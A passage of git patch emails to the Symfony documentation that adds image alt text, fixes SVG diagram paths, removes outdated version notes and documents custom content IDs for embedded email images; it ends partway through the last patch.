index beb3f27d08f..77a6495a2ab 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -41,7 +41,7 @@ end users and the array values are the internal values used in the form field::
 This will create a ``select`` drop-down like this:
 
 .. image:: /_images/reference/form/choice-example1.png
-   :align: center
+    :alt: A choice list form input with the options "Maybe", "Yes" and "No".
 
 If the user selects ``No``, the form will return ``false`` for this field. Similarly,
 if the starting data for this field is ``true``, then ``Yes`` will be auto-selected.
@@ -137,7 +137,7 @@ by passing a multi-dimensional ``choices`` array::
     ]);
 
 .. image:: /_images/reference/form/choice-example4.png
-   :align: center
+    :alt: A choice list with the options "Yes" and "No" grouped under "Main Statuses" and the options "Backordered" and "Discontinued" under "Out of Stock Statuses".
 
 To get fancier, use the `group_by`_ option instead.
 
diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index 0acb25f67b9..d2b263422ee 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -39,7 +39,7 @@ This method is called for *each* choice, passing you the ``$choice`` and
 This will give you:
 
 .. image:: /_images/reference/form/choice-example2.png
-   :align: center
+    :alt: A choice list with the options "Definitely!", "NO" and "MAYBE".
 
 If your choice values are objects, then ``choice_label`` can also be a
 :ref:`property path <reference-form-option-property-path>`. Imagine you have some
diff --git a/reference/forms/types/options/group_by.rst.inc b/reference/forms/types/options/group_by.rst.inc
index ca747683662..161be9140ee 100644
--- a/reference/forms/types/options/group_by.rst.inc
+++ b/reference/forms/types/options/group_by.rst.inc
@@ -35,7 +35,7 @@ This groups the dates that are within 3 days into "Soon" and everything else int
 a "Later" ``<optgroup>``:
 
 .. image:: /_images/reference/form/choice-example5.png
-   :align: center
+    :alt: A choice list with "now" and "tomorrow" grouped under "Soon", and "1 week" and "1 month" grouped under "Later".
 
 If you return ``null``, the option won't be grouped. You can also pass a string
 "property path" that will be called to get the group. See the `choice_label`_ for
diff --git a/reference/forms/types/options/preferred_choices.rst.inc b/reference/forms/types/options/preferred_choices.rst.inc
index 8cb1278136d..0a4457d0313 100644
--- a/reference/forms/types/options/preferred_choices.rst.inc
+++ b/reference/forms/types/options/preferred_choices.rst.inc
@@ -42,7 +42,7 @@ be especially useful if your values are objects::
 This will "prefer" the "now" and "tomorrow" choices only:
 
 .. image:: /_images/reference/form/choice-example3.png
-   :align: center
+    :alt: A choice list with "now" and "tomorrow" on top, separated by a line from "1 week" and "1 month".
 
 Finally, if your values are objects, you can also specify a property path string
 on the object that will return true or false.
diff --git a/security.rst b/security.rst
index 5b38acb53ea..8f46ed7fc70 100644
--- a/security.rst
+++ b/security.rst
@@ -590,7 +590,7 @@ website. If you visit your homepage right now, you *will* have access and
 you'll see that you're visiting a page behind the firewall in the toolbar:
 
 .. image:: /_images/security/anonymous_wdt.png
-   :align: center
+   :alt: The Symfony profiler toolbar where the Security information shows "Authenticated: no" and "Firewall name: main"
 
 Visiting a URL under a firewall doesn't necessarily require you to be authenticated
 (e.g. the login form has to be accessible or some parts of your application
@@ -2603,7 +2603,9 @@ Authentication Events
 
 .. raw:: html
 
-    <object data="./_images/security/security_events.svg" type="image/svg+xml"></object>
+    <object data="../_images/security/security_events.svg" type="image/svg+xml"
+        alt="A flow diagram showing the authentication events that are described in this section in a request-response cycle."
+    ></object>
 
 :class:`Symfony\\Component\\Security\\Http\\Event\\CheckPassportEvent`
     Dispatched after the authenticator created the :ref:`security passport <security-passport>`.
diff --git a/security/login_link.rst b/security/login_link.rst
index 4dea64c7662..1fd1abf56b6 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -301,6 +301,7 @@ This will send an email like this to the user:
 
 .. image:: /_images/security/login_link_email.png
    :align: center
+   :alt: A default Symfony e-mail containing the text "Click on the button below to confirm you want to sign in" and the button with the login link.
 
 .. tip::
 
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 19b6cb44a7b..ec3103f3ba9 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -217,6 +217,7 @@ After logging in, you can use the security profiler to see if this badge is
 present:
 
 .. image:: /_images/security/profiler-badges.png
+    :alt: The Security page of the Symfony profiler, with the "Authenticators" tab showing the remember me badge in the passport object.
 
 Without this badge, remember me will be not be activated (regardless of all
 other settings).
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index ed81d4e21d7..d59006d53ec 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -40,8 +40,8 @@ using a deprecated feature. When visiting your application in the
 in your browser, these notices are shown in the web dev toolbar:
 
 .. image:: /_images/install/deprecations-in-profiler.png
-   :align: center
-   :class: with-browser
+    :alt: The Logs page of the Symfony Profiler showing the deprecation notices.
+    :class: with-browser
 
 Ultimately, you should aim to stop using the deprecated functionality.
 Sometimes the warning might tell you exactly what to change.
diff --git a/translation.rst b/translation.rst
index 6ea797c27f9..402790b2026 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1300,16 +1300,17 @@ Pseudo-localization translator
 
     The pseudolocalization translator is meant to be used for development only.
 
-The following image shows the main menu of the interface of a popular Internet
-service:
+The following image shows a typical menu on a webpage:
 
 .. image:: /_images/translation/pseudolocalization-interface-original.png
+    :alt: A menu showing multiple items nicely aligned next to eachother.
 
 This other image shows the same menu when the user switches the language to
 Spanish. Unexpectedly, some text is cut and other contents are so long that
 they overflow and you can't see them:
 
 .. image:: /_images/translation/pseudolocalization-interface-translated.png
+    :alt: In Spanish, some menu items contain more letters which result in them being cut.
 
 These kind of errors are very common, because different languages can be longer
 or shorter than the original application language. Another common issue is to
@@ -1414,10 +1415,14 @@ readable, contents to help you internationalize it. See for example the
 difference in the `Symfony Demo`_ application. This is the original page:
 
 .. image:: /_images/translation/pseudolocalization-symfony-demo-disabled.png
+    :alt: The Symfony demo login page.
+    :class: with-browser
 
 And this is the same page with pseudolocalization enabled:
 
 .. image:: /_images/translation/pseudolocalization-symfony-demo-enabled.png
+    :alt: The Symfony demo login page with pseudolocalization.
+    :class: with-browser
 
 Summary
 -------
diff --git a/workflow.rst b/workflow.rst
index 02abd4da037..00a4b91e1e7 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -33,6 +33,7 @@ step or stage in the process is called a *place*. You also define *transitions*,
 which describe the action needed to get from one place to another.
 
 .. image:: /_images/components/workflow/states_transitions.png
+    :alt: An example state diagram for a workflow, showing transitions and places.
 
 A set of places and transitions creates a **definition**. A workflow needs
 a ``Definition`` and a way to write the states to the objects (i.e. an
diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index d4d6adc3a74..d06c83edae5 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -36,14 +36,17 @@ to dump it as an image:
 The DOT image will look like this:
 
 .. image:: /_images/components/workflow/blogpost.png
+    :alt: A state diagram of the Symfony workflow created by DOT.
 
 The Mermaid image will look like this:
 
 .. image:: /_images/components/workflow/blogpost_mermaid.png
+    :alt: A state diagram of the Symfony workflow created by Mermaid.
 
 The PlantUML image will look like this:
 
 .. image:: /_images/components/workflow/blogpost_puml.png
+    :alt: A state diagram of the Symfony workflow created by PlantUML.
 
 If you are creating workflows outside of a Symfony application, use the
 ``GraphvizDumper`` or ``StateMachineGraphvizDumper`` class to create the DOT
@@ -316,6 +319,7 @@ Below is the configuration for the pull request state machine with styling added
 The PlantUML image will look like this:
 
 .. image:: /_images/components/workflow/pull_request_puml_styled.png
+    :alt: A state diagram created by PlantUML with custom transition colors and descriptions.
 
 .. _`Graphviz`: https://www.graphviz.org
 .. _`Mermaid CLI`: https://github.com/mermaid-js/mermaid-cli
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 10ec2fbf4b6..7d50cf0ac15 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -25,11 +25,13 @@ Examples
 The simplest workflow looks like this. It contains two places and one transition.
 
 .. image:: /_images/components/workflow/simple.png
+    :alt: A simple state diagram showing a single transition between two places.
 
 Workflows could be more complicated when they describe a real business case. The
 workflow below describes the process to fill in a job application.
 
 .. image:: /_images/components/workflow/job_application.png
+    :alt: A complex state diagram showing many places with multiple possible transitions between them.
 
 When you fill in a job application in this example there are 4 to 7 steps
 depending on the job you are applying for. Some jobs require personality
@@ -63,6 +65,7 @@ pull request. At any time, you can also "update" the pull request, which
 will result in another continuous integration run.
 
 .. image:: /_images/components/workflow/pull_request.png
+    :alt: A state diagram for the pull request process described previously.
 
 Below is the configuration for the pull request state machine.
 

From c930c0ae77b2bc041a0130a4d227fdc7c1f012a6 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 1 Sep 2023 19:47:15 +0200
Subject: [PATCH 5081/7107] [#16895] Add alt description to new images

---
 components/var_dumper.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index b0fcaac2134..6b336ad1d3e 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -483,6 +483,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/10-uninitialized.png
+    :alt: Dump output where the uninitialized property is represented by a question mark followed by the type definition.
 
 .. versionadded:: 6.4
 

From 77517fdb837e0227c237c5d62cb81c079fcbaaad Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 1 Sep 2023 19:47:38 +0200
Subject: [PATCH 5082/7107] [#16895] Remove last center align

---
 security/login_link.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 1fd1abf56b6..2a02b6c3f91 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -300,7 +300,6 @@ number::
 This will send an email like this to the user:
 
 .. image:: /_images/security/login_link_email.png
-   :align: center
    :alt: A default Symfony e-mail containing the text "Click on the button below to confirm you want to sign in" and the button with the login link.
 
 .. tip::

From 8693feeb390d3d35e14c95557cfab1b521a9c58c Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 1 Sep 2023 19:50:51 +0200
Subject: [PATCH 5083/7107] Remove 5.x versionadded directives

---
 configuration/micro_kernel_trait.rst | 6 ------
 service_container/tags.rst           | 5 -----
 2 files changed, 11 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 53f9033552c..8458a0a23ad 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -166,12 +166,6 @@ be automatically registered as an extension. You can learn more about it in
 the dedicated section about
 :ref:`managing configuration with extensions <components-dependency-injection-extension>`.
 
-.. versionadded:: 5.2
-
-    The automatic registration of the kernel as an extension when implementing the
-    :class:`Symfony\\Component\\DependencyInjection\\Extension\\ExtensionInterface`
-    was introduced in Symfony 5.2.
-
 It is also possible to implement the ``EventSubscriberInterface`` to handle
 events directly from the kernel, again it will be registered automatically::
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index a4ec6618c88..088981c9720 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -541,11 +541,6 @@ To answer this, change the service declaration:
                 </services>
             </container>
 
-    .. versionadded:: 5.1
-
-        The possibility to add the ``name`` attribute to a tag in XML and YAML
-        formats was introduced in Symfony 5.1.
-
 .. tip::
 
     In YAML format, you may provide the tag as a simple string as long as

From 3d4fc328f0a928936c30c999700037787290c4d3 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 1 Sep 2023 21:40:35 +0200
Subject: [PATCH 5084/7107] Update blackfire free plan explanation

---
 performance.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index f855c7f4bd8..4383c95303d 100644
--- a/performance.rst
+++ b/performance.rst
@@ -224,7 +224,7 @@ Profiling with Blackfire
 
 `Blackfire`_ is the best tool to profile and optimize performance of Symfony
 applications during development, test and production. It's a commercial service,
-but provides free features that you can use to find bottlenecks in your projects.
+but provides a `Blackfire demonstration`_.
 
 Profiling with Symfony Stopwatch
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -353,5 +353,6 @@ Learn more
 .. _`cachetool`: https://github.com/gordalina/cachetool
 .. _`open_basedir`: https://www.php.net/manual/ini.core.php#ini.open-basedir
 .. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=performance
+.. _`Blackfire demonstration`: https://demo.blackfire.io?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=performance
 .. _`Stopwatch component`: https://symfony.com/components/Stopwatch
 .. _`real-world stopwatch`: https://en.wikipedia.org/wiki/Stopwatch

From 5691435de9cac557fc44efae92189d1e9d541be5 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 1 Sep 2023 21:59:52 +0200
Subject: [PATCH 5085/7107] Replace footnote by ref

---
 frontend.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 8c4ac2c5746..27ee9719f68 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -25,14 +25,19 @@ Requires a build step?            yes                no
 Works in all browsers?            yes                yes
 Supports `Stimulus/UX`_           yes                yes
 Supports Sass/Tailwind            yes                :ref:`yes <asset-mapper-tailwind>`
-Supports React, Vue, Svelte?      yes                yes [#1]_
-Supports TypeScript               yes                no [#1]_
+Supports React, Vue, Svelte?      yes                yes :ref:`[1] <note-1>`
+Supports TypeScript               yes                no :ref:`[1] <note-1>`
 ================================  =================  ======================================================
 
-.. [#1] Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
-        need to use their native tools for pre-compilation. Also, some features (like
-        Vue single-file components) cannot be compiled down to pure JavaScript that can
-        be executed by a browser.
+Notes
+~~~~~
+
+.. _note-1:
+
+**[1]** Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
+need to use their native tools for pre-compilation. Also, some features (like
+Vue single-file components) cannot be compiled down to pure JavaScript that can
+be executed by a browser.
 
 .. _frontend-webpack-encore:
 

From 57dcfd0e871cfff20905d99aace787c01b49f3d5 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 1 Sep 2023 23:23:26 +0200
Subject: [PATCH 5086/7107] Fix all diagram paths

---
 _images/sources/README.md                 | 2 +-
 components/http_kernel.rst                | 6 +++---
 components/messenger.rst                  | 2 +-
 components/serializer.rst                 | 2 +-
 contributing/documentation/standards.rst  | 4 ++--
 doctrine.rst                              | 2 +-
 doctrine/associations.rst                 | 4 ++--
 form/create_custom_field_type.rst         | 4 ++--
 form/data_transformers.rst                | 2 +-
 form/events.rst                           | 6 +++---
 form/form_customization.rst               | 2 +-
 form/form_themes.rst                      | 2 +-
 introduction/from_flat_php_to_symfony.rst | 2 +-
 introduction/http_fundamentals.rst        | 8 ++++----
 mercure.rst                               | 4 ++--
 security.rst                              | 2 +-
 16 files changed, 27 insertions(+), 27 deletions(-)

diff --git a/_images/sources/README.md b/_images/sources/README.md
index dcbd2dabefa..5373fa70ca0 100644
--- a/_images/sources/README.md
+++ b/_images/sources/README.md
@@ -39,7 +39,7 @@ Use the following snippet to embed the diagram in the docs:
 ```
 .. raw:: html
 
-    <object data="../_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml"
+    <object data="/_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml"
         alt="<alt description>"
     ></object>
 ```
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 9c8d01da8af..64fe0997ac5 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -72,7 +72,7 @@ and ends with a :class:`Symfony\\Component\\HttpFoundation\\Response`.
 
 .. raw:: html
 
-    <object data="../_images/components/http_kernel/http-workflow.svg" type="image/svg+xml"
+    <object data="/_images/components/http_kernel/http-workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing all HTTP Kernel events in the Request-Response lifecycle. Each event is numbered 1 to 8 and described in detail in the following subsections."
     ></object>
 
@@ -506,7 +506,7 @@ to the exception.
 
 .. raw:: html
 
-    <object data="../_images/components/http_kernel/http-workflow-exception.svg" type="image/svg+xml"
+    <object data="/_images/components/http_kernel/http-workflow-exception.svg" type="image/svg+xml"
         alt="The HTTP KErnel flow diagram showing how exceptions bypass all further steps and are directly transformed to responses."
     ></object>
 
@@ -667,7 +667,7 @@ your controller).
 
 .. raw:: html
 
-    <object data="../_images/components/http_kernel/http-workflow-subrequest.svg" type="image/svg+xml"
+    <object data="/_images/components/http_kernel/http-workflow-subrequest.svg" type="image/svg+xml"
         alt="The HTTP Kernel flow diagram with a sub request from a controller starting the lifecycle at step 1 again and feeding the sub Response content back into the controller."
     ></object>
 
diff --git a/components/messenger.rst b/components/messenger.rst
index f2b71f38a3d..3650f5a129e 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -27,7 +27,7 @@ Concepts
 
 .. raw:: html
 
-    <object data="../_images/components/messenger/overview.svg" type="image/svg+xml"
+    <object data="/_images/components/messenger/overview.svg" type="image/svg+xml"
         alt="A flow diagram visualizing how each concept relates to eachother. Each concept is described in the subsequent text."
     ></object>
 
diff --git a/components/serializer.rst b/components/serializer.rst
index 70101d5ab8b..9c46498dd45 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -8,7 +8,7 @@ In order to do so, the Serializer component follows the following schema.
 
 .. raw:: html
 
-    <object data="../_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"
+    <object data="/_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
     ></object>
 
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 05ac4400035..504118c23c0 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -166,12 +166,12 @@ Images and Diagrams
 
 .. code-block:: text
 
-    .. image:: _images/example-screenshot.png
+    .. image:: /_images/example-screenshot.png
         :alt: Some concise description of the screenshot.
 
     .. raw:: html
 
-        <object data="_images/example-diagram.svg" type="image/svg+xml"
+        <object data="/_images/example-diagram.svg" type="image/svg+xml"
             alt="Some concise description."
         ></object>
 
diff --git a/doctrine.rst b/doctrine.rst
index b7cfdae01b8..67a1c192e9e 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -187,7 +187,7 @@ the ``#[ORM\Column(...)]`` comments that you see above each property:
 
 .. raw:: html
 
-    <object data="../_images/doctrine/mapping_single_entity.svg" type="image/svg+xml"
+    <object data="/_images/doctrine/mapping_single_entity.svg" type="image/svg+xml"
         alt="Doctrine mapping between properties of a Product PHP object and the data in the product database table"
     ></object>
 
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 1d5e55d5524..c39e0e63c5c 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -411,7 +411,7 @@ relationship for you:
 
 .. raw:: html
 
-    <object data="../_images/doctrine/mapping_relations.svg" type="image/svg+xml"
+    <object data="/_images/doctrine/mapping_relations.svg" type="image/svg+xml"
         alt="Doctrine mapping associated Product and Category entities to a product and category database table"
     ></object>
 
@@ -461,7 +461,7 @@ you.
 
 .. raw:: html
 
-    <object data="../_images/doctrine/mapping_relations_proxy.svg" type="image/svg+xml"
+    <object data="/_images/doctrine/mapping_relations_proxy.svg" type="image/svg+xml"
         alt="Doctrine only querying Category data when needed"
     ></object>
 
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index ccb90a04377..0590043a6d0 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -94,7 +94,7 @@ following set of fields as the "postal address":
 
 .. raw:: html
 
-    <object data="../_images/form/form-custom-type-postal-address.svg" type="image/svg+xml"
+    <object data="/_images/form/form-custom-type-postal-address.svg" type="image/svg+xml"
         alt="A wireframe of the custom field type, showing five text inputs: two address lines, the City, the State and the ZIP code."
     ></object>
 
@@ -436,7 +436,7 @@ are some examples of Twig block names for the postal address type:
 
 .. raw:: html
 
-    <object data="../_images/form/form-custom-type-postal-address-fragment-names.svg" type="image/svg+xml"
+    <object data="/_images/form/form-custom-type-postal-address-fragment-names.svg" type="image/svg+xml"
         alt="The wireframe with some block names highlighted, these are also listed below the image."
     ></object>
 
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 56a08d71132..f0e7cd390b1 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -442,7 +442,7 @@ types of underlying data.
 
 .. raw:: html
 
-    <object data="../_images/form/data-transformer-types.svg" type="image/svg+xml"
+    <object data="/_images/form/data-transformer-types.svg" type="image/svg+xml"
         alt="Flow diagram with the Model transformer between Model and Norm data, and the View transformer between Norm and View data. This is described in detail below the diagram."
     ></object>
 
diff --git a/form/events.rst b/form/events.rst
index 40b530b88f2..c37d73b4e65 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -38,7 +38,7 @@ be updated:
 
 .. raw:: html
 
-    <object data="../_images/form/form_workflow.svg" type="image/svg+xml"
+    <object data="/_images/form/form_workflow.svg" type="image/svg+xml"
         alt="A generic flow diagram showing the two phases. These are
         described in the next subsections."
     ></object>
@@ -48,7 +48,7 @@ be updated:
 
 .. raw:: html
 
-    <object data="../_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"
+    <object data="/_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing the two events that are dispatched during pre-population."
     ></object>
 
@@ -123,7 +123,7 @@ View data        Normalized data transformed using a view transformer
 
 .. raw:: html
 
-    <object data="../_images/form/form_submission_workflow.svg" type="image/svg+xml"
+    <object data="/_images/form/form_submission_workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing the three events that are dispatched when handling form submissions."
     ></object>
 
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 005e0eac461..0263bfbe305 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -51,7 +51,7 @@ customized using other Twig functions, as illustrated in the following diagram:
 
 .. raw:: html
 
-    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"
+    <object data="/_images/form/form-field-parts.svg" type="image/svg+xml"
         alt="Wireframe showing all functions in a form row, which are mentioned directly below."
     ></object>
 
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 5f462ce4bbb..3798b04b855 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -247,7 +247,7 @@ In both cases, the ``field-part`` can be any of these valid form field parts:
 
 .. raw:: html
 
-    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"
+    <object data="/_images/form/form-field-parts.svg" type="image/svg+xml"
         alt="A wireframe showing all form field parts: form_row, form_label, form_widget, form_help and form_errors."
     ></object>
 
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index 7386f629546..06cadc4e7b0 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -657,7 +657,7 @@ It's a beautiful thing.
 
 .. raw:: html
 
-    <object data="../_images/http/request-flow.svg" type="image/svg+xml"
+    <object data="/_images/http/request-flow.svg" type="image/svg+xml"
         alt="A flow diagram visualizing the previously described process from front controller to response."
     ></object>
 
diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst
index fceb6a4a13d..da0600e5860 100644
--- a/introduction/http_fundamentals.rst
+++ b/introduction/http_fundamentals.rst
@@ -19,7 +19,7 @@ to communicate with each other. For example, when checking for the latest
 
 .. raw:: html
 
-    <object data="../_images/http/xkcd-full.svg" type="image/svg+xml"
+    <object data="/_images/http/xkcd-full.svg" type="image/svg+xml"
         alt="A sequence diagram showing the browser sending &quot;Can I see today's comic?&quot; to the xkcd server. The server prepares the page's HTML and sents it back to the browser."
     ></object>
 
@@ -43,7 +43,7 @@ browser and the xkcd web server:
 
 .. raw:: html
 
-    <object data="../_images/http/xkcd-request.svg" type="image/svg+xml"
+    <object data="/_images/http/xkcd-request.svg" type="image/svg+xml"
         alt="A sequence diagram showing the request from browser to the xkcd server."
     ></object>
 
@@ -108,7 +108,7 @@ from the xkcd web server:
 
 .. raw:: html
 
-    <object data="../_images/http/xkcd-full.svg" type="image/svg+xml"
+    <object data="/_images/http/xkcd-full.svg" type="image/svg+xml"
         alt="The full sequence diagram with the xkcd server sending the page's HTML back to the browser."
     ></object>
 
@@ -355,7 +355,7 @@ to do:
 
 .. raw:: html
 
-    <object data="../_images/http/request-flow.svg" type="image/svg+xml"
+    <object data="/_images/http/request-flow.svg" type="image/svg+xml"
         alt="A flow diagram visualizing the request-response flow. Each step is written out in text in the next section."
     ></object>
 
diff --git a/mercure.rst b/mercure.rst
index b26e2ee9294..18d8766ce2a 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -69,7 +69,7 @@ Running a Mercure Hub
 
 .. raw:: html
 
-    <object data="../_images/mercure/hub.svg" type="image/svg+xml"
+    <object data="/_images/mercure/hub.svg" type="image/svg+xml"
         alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
     ></object>
 
@@ -335,7 +335,7 @@ in a ``Link`` HTTP header.
 
 .. raw:: html
 
-    <object data="../_images/mercure/discovery.svg" type="image/svg+xml"
+    <object data="/_images/mercure/discovery.svg" type="image/svg+xml"
         alt="Flow diagram showing the Link response header set by the Symfony app to respond to an API request for a book with ID 1."
     ></object>
 
diff --git a/security.rst b/security.rst
index 8f46ed7fc70..23253279f28 100644
--- a/security.rst
+++ b/security.rst
@@ -2603,7 +2603,7 @@ Authentication Events
 
 .. raw:: html
 
-    <object data="../_images/security/security_events.svg" type="image/svg+xml"
+    <object data="/_images/security/security_events.svg" type="image/svg+xml"
         alt="A flow diagram showing the authentication events that are described in this section in a request-response cycle."
     ></object>
 

From cee2e96e08b73b2efeb8dda6f4a3d192099e2612 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 2 Sep 2023 14:48:31 +0200
Subject: [PATCH 5087/7107] Embedding images support custom cid

---
 mailer.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 3ea6113c6c2..6bd1ced54e5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -616,11 +616,27 @@ images inside the HTML contents::
         ->html('... <div background="cid:footer-signature"> ... </div> ...')
     ;
 
+You can also use :method:`DataPart::setContentId() <Symfony\\Component\\Mime\\Part\\DataPart::setContentId>` method to
+define value and use it as ``cid`` reference::
+
+    $part = new DataPart(new File('/path/to/images/signature.gif'));
+    $part->setContentId('footer-signature');
+
+    $email = (new Email())
+        // ...
+        ->addPart($part->asInline())
+        ->html('... <img src="cid:footer-signature"> ...')
+    ;
+
 .. versionadded:: 6.1
 
     The support of embedded images as HTML backgrounds was introduced in Symfony
     6.1.
 
+.. versionadded:: 6.3
+
+    The support of custom ``cid`` for embedded images was introduced in Symfony 6.3.
+
 .. _mailer-configure-email-globally:
 
 Configuring Emails Globally

From 92bcd0f9431289a46aaf3813f16fa46a339bb339 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 2 Sep 2023 17:10:13 +0200
Subject: [PATCH 5088/7107] Tweak

---
 performance.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/performance.rst b/performance.rst
index 4383c95303d..dc44757be64 100644
--- a/performance.rst
+++ b/performance.rst
@@ -224,7 +224,7 @@ Profiling with Blackfire
 
 `Blackfire`_ is the best tool to profile and optimize performance of Symfony
 applications during development, test and production. It's a commercial service,
-but provides a `Blackfire demonstration`_.
+but provides a `full-featured demo`_.
 
 Profiling with Symfony Stopwatch
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -353,6 +353,6 @@ Learn more
 .. _`cachetool`: https://github.com/gordalina/cachetool
 .. _`open_basedir`: https://www.php.net/manual/ini.core.php#ini.open-basedir
 .. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=performance
-.. _`Blackfire demonstration`: https://demo.blackfire.io?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=performance
+.. _`full-featured demo`: https://demo.blackfire.io?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=performance
 .. _`Stopwatch component`: https://symfony.com/components/Stopwatch
 .. _`real-world stopwatch`: https://en.wikipedia.org/wiki/Stopwatch

From 2f34dd21b0cce70cd2e6da671129b9d3d6934efe Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 2 Sep 2023 19:41:21 +0200
Subject: [PATCH 5089/7107] Fix all diagram paths again

---
 _images/sources/README.md                 | 2 +-
 components/http_kernel.rst                | 6 +++---
 components/messenger.rst                  | 2 +-
 components/serializer.rst                 | 2 +-
 contributing/documentation/standards.rst  | 2 +-
 doctrine.rst                              | 2 +-
 doctrine/associations.rst                 | 4 ++--
 form/create_custom_field_type.rst         | 4 ++--
 form/data_transformers.rst                | 2 +-
 form/events.rst                           | 6 +++---
 form/form_customization.rst               | 2 +-
 form/form_themes.rst                      | 2 +-
 introduction/from_flat_php_to_symfony.rst | 2 +-
 introduction/http_fundamentals.rst        | 8 ++++----
 mercure.rst                               | 4 ++--
 security.rst                              | 2 +-
 16 files changed, 26 insertions(+), 26 deletions(-)

diff --git a/_images/sources/README.md b/_images/sources/README.md
index 5373fa70ca0..467d4024010 100644
--- a/_images/sources/README.md
